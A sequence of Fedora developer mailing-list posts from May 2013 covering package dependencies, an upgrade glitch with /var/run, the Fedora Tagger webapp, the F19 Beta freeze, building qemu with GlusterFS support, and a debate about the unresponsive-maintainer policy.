Re: Mission Impossible #1: qt without gtk
14.05.2013 03:38, Todd Zullinger пишет: Eugene Pivnev wrote: libgnome-keyring is minimal problem (ok - is _not_ problem at all; although I'm surprised that _console_ git depends on DE-specific library). I just recently made use of libgnome-keyring via python-keyring for a console application I wrote. I thought it was quite handy to be able to add this ability and save a little effort for something I use regularly for work (a paste app). Like git's use, my usage of the keyring libraries was entirely optional and falls back gracefully to other methods. The cost in code and time would be far greater to make that optional bit a plugin or a subpackage. It was definitely not worth my time to save 300k of disk for the mythical system I might want to install where I try to trim down the minimal install even further. We can stop talking about git using libgnome-keyring now, right? :) No problem! Subject was qt without gtk. I can recall other problems: * librsvg2 - gtk3 - (as I know - fixed, but for F19+) * xscreensaver_base - libglade2 - gtk2 (demo/configure tool) * opencv - gtk2 -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Glitch in Upgrading from EOL Fedora using yum
On 05/13/2013 04:29 PM, Philip A. Prindeville wrote: but when I tried this, I get: [root@mail /]# mv -f /var/run /var/run.runmove~ mv: cannot move `/var/run' to `/var/run.runmove~': Device or resource busy [root@mail /]# right off the bat. Anyone know what the workaround is for this? You need to boot a live cd or rescue cd in order to do this. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: New Fedora Tagger
On 05/14/2013 05:32 AM, Ralph Bean wrote: It is a webapp that allows users to upvote/downvote tags on packages as well as rate packages themselves. The data will end up getting pulled into yum repo metadata by the bodhi masher and into the Fedora Packages[2] indexer to improve search results. Fedora Tagger is also one of our first attempts at gamification. You earn points by voting and rating and there's a leaderboard on which you can muscle for first place(!) What problem is trying to address this app? OK. We will have database of packages and tags. And we will be able to generate leaderboard for each tag. Will be able to make some conclusions from this? I'm afraid that the answer is no. Personally I would rather have something like popcon [1] for Fedora. Even that lots of Debian people are not participating in popcon, still lots of them do that. And it provides statistically significant sample of installations. And can be used for decisions which packages will be removed from installation DVD; which architecture is most used etc. [1] http://popcon.debian.org/ -- Miroslav Suchy Red Hat Systems Management Engineering -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: New Fedora Tagger
On Tue, 2013-05-14 at 09:59 +0200, Miroslav Suchý wrote: On 05/14/2013 05:32 AM, Ralph Bean wrote: It is a webapp that allows users to upvote/downvote tags on packages as well as rate packages themselves. The data will end up getting pulled into yum repo metadata by the bodhi masher and into the Fedora Packages[2] indexer to improve search results. Fedora Tagger is also one of our first attempts at gamification. You earn points by voting and rating and there's a leaderboard on which you can muscle for first place(!) What problem is trying to address this app? OK. We will have database of packages and tags. And we will be able to generate leaderboard for each tag. Will be able to make some conclusions from this? I'm afraid that the answer is no. Personally I would rather have something like popcon [1] for Fedora. Even that lots of Debian people are not participating in popcon, still lots of them do that. And it provides statistically significant sample of installations. And can be used for decisions which packages will be removed from installation DVD; which architecture is most used etc. [1] http://popcon.debian.org/ From this link I do not think popcon allow you to tag a package. Tags that can then be used to search for packages of interest or filter a list of packages. This is the goal of tagger, providing meta information about the package to allow easier search/filtering and provide a nicer user experience. From what I can see popcon would relate more to our old smolt where we were trying to get a picture of what our users are installing (and in the case of smolt, on which hardware). The game aspect of tagger is just to encourage people to participate. Pierre -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Packaging alien, debhelper and po-debconf
For BZ#695233, I make a better one, see comment 18 at: https://bugzilla.redhat.com/show_bug.cgi?id=695233 Please point out any errors, thanks! -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: New Fedora Tagger
On 05/14/2013 05:32 AM, Ralph Bean wrote: Try it out, help improve package search, and climb your way to the number-one tagger spot! It takes too long to load the next card after user clicks. You should probably preload more cards or load them asynchronously. Cheers, -- Richard Marko -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Glitch in Upgrading from EOL Fedora using yum
All those have their corresponding .pid-files inside /var/run. So I guess some of them are keeping an open handle on it. Am Montag, den 13.05.2013, 22:45 -0600 schrieb Philip A. Prindeville: And I had it showed systemd, dbus-daemon, atd, crond, cupsd, avahi-daemon, rpcbind, and all sorts of other things having open files in /var/run. Nothing was using it as a cwd. So I'm not sure why that would stop it from being renamed. On 05/13/2013 08:12 PM, Christopher Meng wrote: Maybe you can try lsof? -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora 19 Beta Change Freeze
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi all, as the Fedora 19 schedule[1] states the Beta change freeze is upon us. As of now all Beta freeze only accepted exceptions[2] will be allowed in. we are at the beta stage of release, so the Beta_to_Pre_Release[3] stage of the updates policy applies. Regards Dennis [1] http://fedorapeople.org/groups/schedule/f-19/f-19-devel-tasks.html [2] http://fedoraproject.org/wiki/QA:SOP_freeze_exception_bug_process [3] http://fedoraproject.org/wiki/Updates_Policy#Beta_to_Pre_Release -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.19 (GNU/Linux) iEYEARECAAYFAlGSOgEACgkQkSxm47BaWfcUjACgq6NxDN5j1olJnYBLSy4WnZrR 3wYAoJNbUcfDUcYNu1eZRxG3Vyg/zeHr =gIQB -END PGP SIGNATURE- ___ devel-announce mailing list devel-annou...@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel-announce -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Broken dependencies: glusterfs
On 05/14/2013 08:15 AM, build...@fedoraproject.org wrote: glusterfs has broken dependencies in the F-19 tree: On x86_64: glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-proxy = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-object = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-container = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-account = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift = 0:1.8.0 On i386: glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-proxy = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-object = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-container = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift-account = 0:1.8.0 glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires openstack-swift = 0:1.8.0 Please resolve this as soon as possible. g. These packages exist in f19. Then what's the correct way to make sure they're installed when glusterfs-ufo is installed without breaking dependencies? Just: Requires: openstack-swift = 1.8.0 doesn't get them. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Reviewer needed for some packages? REVIEW SWAP
Hi Wolfgang, Hmm, you may want to send another mail with a subject of just Review Swap and where you're slightly more verbose about your intent to swap in the body of the mail, as well as give some more details on the packages you're looking to swap for. Only having the words REVIEW SWAP in the Subject + only links in the body may be a bit a bit unclear. Anyways I would like to swap with you... On 05/09/2013 10:15 PM, Rave it wrote: Am Thu, 09 May 2013 21:06:08 +0200 schrieb Hans de Goede hdego...@redhat.com: Hi Wolfgang, On 05/09/2013 05:10 PM, Rave it wrote: Hi, i've have some open reviews which need a reviewer. https://bugzilla.redhat.com/show_bug.cgi?id=924310 https://bugzilla.redhat.com/show_bug.cgi?id=924263 https://bugzilla.redhat.com/show_bug.cgi?id=924279 https://bugzilla.redhat.com/show_bug.cgi?id=924377 I would be happy to review any one of these 4 (you pick one, and I'll review it), in exchange for: Bug 962813 - Review Request: funguloids - Space-Flying-Mushroom-Picking-Simulator game Spec URL: http://people.fedoraproject.org/~jwrdegoede/funguloids.spec SRPM URL: http://people.fedoraproject.org/~jwrdegoede/funguloids-1.06-1.fc19.src.rpm Description: Never before has collecting mushrooms been this mildly entertaining. At least not in outer space. It's more of a lifestyle than a game, really. Now with graphics and sound, too! Seriously though, we like to think the game as a space-flying-mushroom-picking-simulator. Well no, Those Funny Funguloids! is actually a nice little piece of entertainment. You collect mushrooms, bring the back to your home base and profit! That's the basic idea in a nutshell. It has smooth, appealing 3d graphics and nice atmospheric sound effects. Go ahead and try it out - it has sounds too! https://bugzilla.redhat.com/show_bug.cgi?id=962813 Regards, Hans -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Question about what to do if mantainer is absent
Hello, I have a question about the unresponsive mantainer policy [1]. What is the procedure to follow if a mantainer is kindly responding to personal emails and granting access (really rarely) but is not giving ownership of the packages even after years of inactivity? I've been working mostly alone on the bacula [2] and bacula-docs [3] package for the past years; reassigning myself to bugs etc. Fortunately now there is also personnel from Redhat working on it. So far there has been almost no activity in his packages since 2009 except for a few items like the fedora_active_user.py script shows: $ ./fedora_active_user.py --user ixs --all-comments FAS password for slaanesh: Last login in FAS: ixs 2013-01-01 Last action on koji: Fri, 11 Jan 2013 package list entry created: ser in f18-final by ausil [still active] Last package update on bodhi: 2012-10-15 16:42:06 on package icecast-2.3.3-1.fc17 He has bugs open and not taken care of since 2008 (Fedora 9!) [4] [5]; reviews pending [6]; ACLs pending for a lot of packages etc. I've addressed personally Andreas Thienemann (FAS: ixs) by mail a couple of times in the last years; he had been kind and granted me access on the packages but not ownership; as he has stated on a mail to me the 9th of January he was supposed to come back with a more active role in Fedora. But so far, there wasn't any activity; at least for the packages I've looked at. What should I do in this case? Just wait or proceed with the unresponsive mantainer policy? Thanks, --Simone [1] https://fedoraproject.org/wiki/Package_maintainer_policy#What_to_do_if_a_maintainer_is_absent [2] http://pkgs.fedoraproject.org/cgit/bacula.git/stats/?period=qofs=10 [3] http://pkgs.fedoraproject.org/cgit/bacula-docs.git/stats/?period=qofs=10 [4] https://bugzilla.redhat.com/buglist.cgi?bug_status=NEWbug_status=ASSIGNEDemail1=andreas%40bawue.net%20emailassigned_to1=1emailtype1=substringlist_id=1364294query_format=advancedorder=changeddate%2Cbug_idquery_based_on= [5] https://bugzilla.redhat.com/show_bug.cgi?id=460557 [6] https://bugzilla.redhat.com/show_bug.cgi?id=472098 -- You cannot discover new oceans unless you have the courage to lose sight of the shore (R. W. Emerson). -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Broken dependencies: glusterfs
On 05/14/2013 03:22 PM, Kaleb KEITHLEY wrote: g. These packages exist in f19. Then what's the correct way to make sure they're installed when glusterfs-ufo is installed without breaking dependencies? Just: Requires: openstack-swift = 1.8.0 doesn't get them. It can't get it, since https://admin.fedoraproject.org/updates/FEDORA-2013-5046/openstack-swift-1.8.0-2.fc19 is still in testing. Best regards, Matthias -- Matthias Runge mru...@matthias-runge.de -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Packaging alien, debhelper and po-debconf
On Ter, 2013-05-14 at 18:24 +0800, Christopher Meng wrote: For BZ#695233, I make a better one, see comment 18 at: https://bugzilla.redhat.com/show_bug.cgi?id=695233 Please point out any errors, thanks! I my plan is commit BZ#648384 dpkg 1.6 which blocks BZ#961141 debhelper , after submit debhelper , I will finish review alien BZ#695233 Thanks, -- Sérgio M. B. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: New Fedora Tagger
On 05/14/2013 10:09 AM, Pierre-Yves Chibon wrote: This is the goal of tagger, providing meta information about the package to allow easier search/filtering and provide a nicer user experience. Aha, so it should be something like http://debtags.debian.net in Debian world. Good then. I will ignore the voting part :) -- Miroslav Suchy Red Hat Systems Management Engineering -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: New Fedora Tagger
On Tue, May 14, 2013 at 12:43:34PM +0200, Richard Marko wrote: On 05/14/2013 05:32 AM, Ralph Bean wrote: Try it out, help improve package search, and climb your way to the number-one tagger spot! It takes too long to load the next card after user clicks. You should probably preload more cards or load them asynchronously. I agree. Filed this to track it: https://github.com/fedora-infra/fedora-tagger/issues/92 pgpwz7t6xUCrE.pgp Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: [Gluster-users] Testing VM Storage with Fedora 19
I did, the ./configure part looks like this:
./configure \
--prefix=%{_prefix} \
--libdir=%{_libdir} \
--sysconfdir=%{_sysconfdir} \
--interp-prefix=%{_prefix}/qemu-%%M \
--audio-drv-list=pa,sdl,alsa,oss \
--localstatedir=%{_localstatedir} \
--libexecdir=%{_libexecdir} \
--disable-strip \
--extra-ldflags=$extraldflags -pie -Wl,-z,relro -Wl,-z,now \
--extra-cflags=%{optflags} -fPIE -DPIE \
--enable-mixemu \
--enable-trace-backend=dtrace \
--disable-werror \
--disable-xen \
--enable-kvm \
--enable-migration-from-qemu-kvm \
--enable-glusterfs \
I too had assumed it would just work.
Thanks,
_
/-\ ndrew
On Tue, May 14, 2013 at 8:39 AM, John Mark Walker johnm...@gluster.org wrote:
- Original Message -
It looks as though the qemu package is built without Gluster support.
So I added the --with-glusterfs flag and tried to rebuilt the RPM. I
Did you do ./configure --enable-glusterfs ?
am now getting this error:
ERROR
ERROR: User requested feature GlusterFS backend support
ERROR: configure was not able to find it
ERROR
What is configure looking for that it can't find? Again
glusterfs-server and glusterfs-devel packages are installed.
Adding devel@fedora and moving to gluster-devel.
Is there a way to change default flags for qemu compilation? Who's the
maintainer? I had assumed that manually changing the flags to include
--enable-glusterfs would do the trick.
After doing a little digging, I see QEMU is owned by virtmaint which I
assume is an alias for several people.
Can anyone confirm the ability or inability to build QEMU with GlusterFS
support on F19? I'm running F18 and can download 1.4 from qemu.org, which
builds (and runs) just fine.
-JM
--
_
/-\ ndrew Niemantsverdriet
Linux System Administrator
Academic Computing
(406) 238-7360
Rocky Mountain College
1511 Poly Dr.
Billings MT, 59102
--
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Glitch in Upgrading from EOL Fedora using yum
I get that part… but that shouldn't stop the directory from being renamed if it's staying on the same filesystem. -Philip On May 14, 2013, at 6:08 AM, Björn Esser bjoern.es...@gmail.com wrote: All those have their corresponding .pid-files inside /var/run. So I guess some of them are keeping an open handle on it. Am Montag, den 13.05.2013, 22:45 -0600 schrieb Philip A. Prindeville: And I had it showed systemd, dbus-daemon, atd, crond, cupsd, avahi-daemon, rpcbind, and all sorts of other things having open files in /var/run. Nothing was using it as a cwd. So I'm not sure why that would stop it from being renamed. On 05/13/2013 08:12 PM, Christopher Meng wrote: Maybe you can try lsof? -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
What to do if upstream doesn't fix bug?
Hello, actually kde-partitionmanager is completely broken in F18, F19 and rawhide. This is because KDE have switched to udisks2 backend and it seems to me that solid (a component of kdelibs) doesn't correctly parse udisks2 output. I've opened a bug [1] in KDE tracker six months ago, but it doesn't seem to get too much attention... I also opened a bug in bugzilla as a reminder/note for everyone that hits this problem [2]. So, what alternatives have I? Should I retire kde-partitionmanager from F18 and above? Or can I leave it completely broken in functionality with the hope that the bug will eventually be fixed? Thank you Mattia [1] https://bugs.kde.org/show_bug.cgi?id=311408 [2] https://bugzilla.redhat.com/show_bug.cgi?id=890143 -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: What to do if upstream doesn't fix bug?
Hi On Tue, May 14, 2013 at 12:59 PM, Mattia Verga wrote: Hello, actually kde-partitionmanager is completely broken in F18, F19 and rawhide. This is because KDE have switched to udisks2 backend and it seems to me that solid (a component of kdelibs) doesn't correctly parse udisks2 output. I've opened a bug [1] in KDE tracker six months ago, but it doesn't seem to get too much attention... I also opened a bug in bugzilla as a reminder/note for everyone that hits this problem [2]. So, what alternatives have I? Should I retire kde-partitionmanager from F18 and above? Or can I leave it completely broken in functionality with the hope that the bug will eventually be fixed? If you are unable to do the work required and upstream is unresponsive in general, orphan the package or retire it. Rahul -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining. If efficiency was Fedora's strong suit FPC would have been dismantled by now... JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. pkgdb2 is being worked on that does some good toward teams/groups of maintainers for a package (there's no 'owner' anymore, just a 'initial bugzilla contact'). I'll let the folks working on that speak to that tho. I have no idea what you mean by imap folder here. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Do you mean 'initialcc' on bugs? or ? Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. kevin signature.asc Description: PGP signature -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
[Bug 847128] epel6 build request
Product: Fedora https://bugzilla.redhat.com/show_bug.cgi?id=847128 --- Comment #6 from Fedora Update System upda...@fedoraproject.org --- perl-DateTime-Format-Oracle-0.06-3.el6 has been pushed to the Fedora EPEL 6 stable repository. -- You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=i8xCZfpIhUa=cc_unsubscribe -- Fedora Extras Perl SIG http://www.fedoraproject.org/wiki/Extras/SIGs/Perl perl-devel mailing list perl-de...@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/perl-devel
EPEL Fedora 6 updates-testing report
The following Fedora EPEL 6 Security updates need testing: Age URL 575 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2011-4701/supybot-gribble-0.83.4.1-10.el6 387 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-5620/bugzilla-3.4.14-2.el6 87 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-0376/openconnect-4.08-1.el6 80 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-0420/awstats-7.0-3.el6 45 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-0823/openstack-keystone-2012.2.3-5.el6 14 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5612/phpMyAdmin-3.5.8.1-1.el6 11 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5649/mediawiki119-1.19.6-1.el6 11 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5643/php-sabredav-Sabre_DAV-1.6.5-5.el6 6 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5713/openvpn-2.3.1-1.el6 0 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5789/gallery3-3.0.7-1.el6 0 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5801/python-virtualenv-1.9.1-1.el6 The following builds have been pushed to Fedora EPEL 6 updates-testing curlftpfs-0.9.2-14.el6 datagrepper-0.1.3-1.el6 datagrepper-0.1.3-2.el6 dropbear-0.58-1.el6 openstack-glance-2012.2.4-3.el6 ovirt-engine-cli-3.2.0.12-1.el6 ovirt-engine-sdk-3.2.0.11-1.el6 pcp-3.8.0-1.el6 python-Traits-4.3.0-1.el6 python-fedmsg-meta-fedora-infrastructure-0.1.5-1.el6 python-fedmsg-meta-fedora-infrastructure-0.1.5-2.el6 python-pyface-4.3.0-2.el6 python-swiftclient-1.4.0-1.el6 python-virtualenv-1.9.1-1.el6 Details about builds: curlftpfs-0.9.2-14.el6 (FEDORA-EPEL-2013-5804) CurlFtpFS is a filesystem for accessing FTP hosts based on FUSE and libcurl Update Information: Fix IO errors, two memleaks and add aarch64 support References: [ 1 ] Bug #962015 - permenently IO-errors https://bugzilla.redhat.com/show_bug.cgi?id=962015 [ 2 ] Bug #962164 - Curlftpfs duplicate owning files in -debuginfo packages whta lead to install conflicts https://bugzilla.redhat.com/show_bug.cgi?id=962164 [ 3 ] Bug #831419 - Plug a memleak with no cache https://bugzilla.redhat.com/show_bug.cgi?id=831419 [ 4 ] Bug #831418 - Plug a gigantic memleak https://bugzilla.redhat.com/show_bug.cgi?id=831418 [ 5 ] Bug #925209 - curlftpfs: Does not support aarch64 in f19 and rawhide https://bugzilla.redhat.com/show_bug.cgi?id=925209 [ 6 ] Bug #962233 - Curlftpfs SCM change request https://bugzilla.redhat.com/show_bug.cgi?id=962233 datagrepper-0.1.3-1.el6 (FEDORA-EPEL-2013-5798) A webapp to query fedmsg history Update Information: Fix some early bugs found in staging. Fix python2.6 bug. Initial packaged release of datagrepper datagrepper-0.1.3-2.el6 (FEDORA-EPEL-2013-5803) A webapp to query fedmsg history Update Information: Patch a typo. dropbear-0.58-1.el6 (FEDORA-EPEL-2013-5802) SSH2 server and client Update Information: Here is where you give an explanation of your update. ChangeLog: * Tue May 14 2013 Christopher Meng r...@cicku.me - 0.58-1 - New upstream release. openstack-glance-2012.2.4-3.el6 (FEDORA-EPEL-2013-5806) OpenStack Image Service Update Information: - Update to stable release 2012.2.4 - Add the scrubber service for deferred image deletion - Restart the glance services on upgrade ChangeLog: * Mon May 13 2013 Pádraig Brady p...@draigbrady.com 2012.2.4-3 - Update to stable release 2012.2.4 - Add the scrubber service for deferred image deletion - Restart the
EPEL Fedora 5 updates-testing report
The following Fedora EPEL 5 Security updates need testing: Age URL 387 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-5630/bugzilla-3.2.10-5.el5 282 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-6608/Django-1.1.4-2.el5 87 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-0366/openconnect-4.08-1.el5 21 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5517/git-1.8.2.1-1.el5 14 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5620/phpMyAdmin3-3.5.8.1-1.el5 6 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5711/openvpn-2.3.1-1.el5 0 https://admin.fedoraproject.org/updates/FEDORA-EPEL-2013-5799/python-virtualenv-1.9.1-1.el5 The following builds have been pushed to Fedora EPEL 5 updates-testing pcp-3.8.0-1.el5 python-virtualenv-1.9.1-1.el5 Details about builds: pcp-3.8.0-1.el5 (FEDORA-EPEL-2013-5796) System-level performance monitoring and performance management Update Information: Update to latest upstream release ChangeLog: * Tue May 14 2013 Nathan Scott nath...@redhat.com - 3.8.0-1 - Update to latest PCP sources. - Validate metric names passed into pmiAddMetric (BZ 958019) - Install log directories with correct ownership (BZ 960858) References: [ 1 ] Bug #958019 - pmiAddMetric accepts out of bounds characters https://bugzilla.redhat.com/show_bug.cgi?id=958019 [ 2 ] Bug #960858 - Incorrect directory owners in pcp https://bugzilla.redhat.com/show_bug.cgi?id=960858 python-virtualenv-1.9.1-1.el5 (FEDORA-EPEL-2013-5799) Tool to create isolated Python environments Update Information: * Fixes two security issues with the bundled copy of pip: - Insecure tempdir usage CVE-2013-1888 - Uses http:// to download packages instead of https:// See changelog at: http://pypi.python.org/pypi/virtualenv#id2 Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. See changelog at: http://pypi.python.org/pypi/virtualenv#id2 Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. See changelog at: http://pypi.python.org/pypi/virtualenv#id2 Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. Multiple bugfixes. See http://pypi.python.org/pypi/virtualenv/1.7.1.2 for information. ChangeLog: * Tue May 14 2013 Toshio Kuratomi tos...@fedoraproject.org - 1.9.1-1 - Update to upstream 1.9.1 because of security issues with the bundled python-pip in older releases. This is just a quick fix until a python-virtualenv maintainer can unbundle the python-pip package see: https://bugzilla.redhat.com/show_bug.cgi?id=749378 * Thu Feb 14 2013 Fedora Release Engineering rel-...@lists.fedoraproject.org - 1.7.2-2 - Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass_Rebuild * Tue Aug 14 2012 Steve Milner m...@stevemilner.org - 1.7.2-1 - Update for upstream bug fixes. - Added path for versioned binary. - Patch no longer required. * Sat Jul 21 2012 Fedora Release Engineering rel-...@lists.fedoraproject.org - 1.7.1.2-3 - Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild * Wed Mar 14 2012 Steve 'Ashcrow' Milner m...@stevemilner.org - 1.7.1.2-1 - Update for upstream bug fixes. - Added patch for sphinx building * Sat Jan 14 2012 Fedora Release Engineering rel-...@lists.fedoraproject.org - 1.7-2 - Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild References: [ 1 ] Bug #923974 - CVE-2013-1888 python-pip: insecure temporary directory usage https://bugzilla.redhat.com/show_bug.cgi?id=923974 ___ epel-devel mailing list epel-de...@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/epel-devel
Re: Question about what to do if mantainer is absent
On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas themselves? Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group ownership model on components instead followed by an email address component@fedoraproject which is the components email address and is stored in a imap folder. There's a number of problems with 'free for all' model. Mostly around communication. pkgdb2 is being worked on that does some good toward teams/groups of maintainers for a package (there's no 'owner' anymore, just a 'initial bugzilla contact'). I'll let the folks working on that speak to that tho. I have no idea what you mean by imap folder here. Components get's their own email address component-maint@ mailto:systemd-ma...@redhat.comfedoraproject.org followed by components being always assigned to that email address. Each mail the component receives is stored in the components imap folder which contributors maintaining the component subscribed ( and anyone else for that matter ( like users that usually CC themselves on components ) that is interested in that mail ) can subscribe to. Contributes could easily be added or allowed to add themselves to components group and subscribed to the components imap folder in the process which yields far more and faster access to start participate and contributing then the current implemented model does. Do you mean 'initialcc' on bugs? or ? Atleast you would not have to run around half the internet chasing the maintainer just to try to see if he's active or not and if you can fix or generally start working on the component he's allegedly supposed to be maintaining Why not? Why not what? Do you get paid for or do you have endless time to spend hunting people down? If efficiency was Fedora's strong suit FPC would have been dismantled by now... This is unlikely to happen, so repeating your plea isn't likely to help any. My plea what plea I asked Fesco to give this a serious thought about this and they did not. From my point of view it is as unlikely to happen as you with your playbook idea or Tom with his improving the fedora user experience with design driven methodology which is just totally backwards from my pov. If Fesco can explain to me the benefits of having FPC and the overhead it follows vs proposed changes to the packaging guidelines to the packaging list followed by an ack/nack/patch approach has I'm all ears I have only experience the downside of having it first hand and when I see a inefficient process in the project I try to improve and dropping FPC and adopting the previous mentioned model seems assured win win to me. Heck the community did not have the faintest idea which tickets they even worked ( or did any work at all ) on until I literally request they adopted the fesco model so we atleast could get a faint idea what was going to be discussed on those meeting... Let's just continue to cross finger hope that those that have been chosen -- yeah that's right not elected but chosen bother to show up to do their due diligence and reach a quorum. JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
On Tue, May 14, 2013 at 18:32:14 +, \Jóhann B. Guðmundsson\ johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... Everybody is busy. I think the point is, that if this is something you find very important, you may want to reallocate where you spend your Fedora time. You could drop some less important stuff and work on this task. -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel
Re: Question about what to do if mantainer is absent
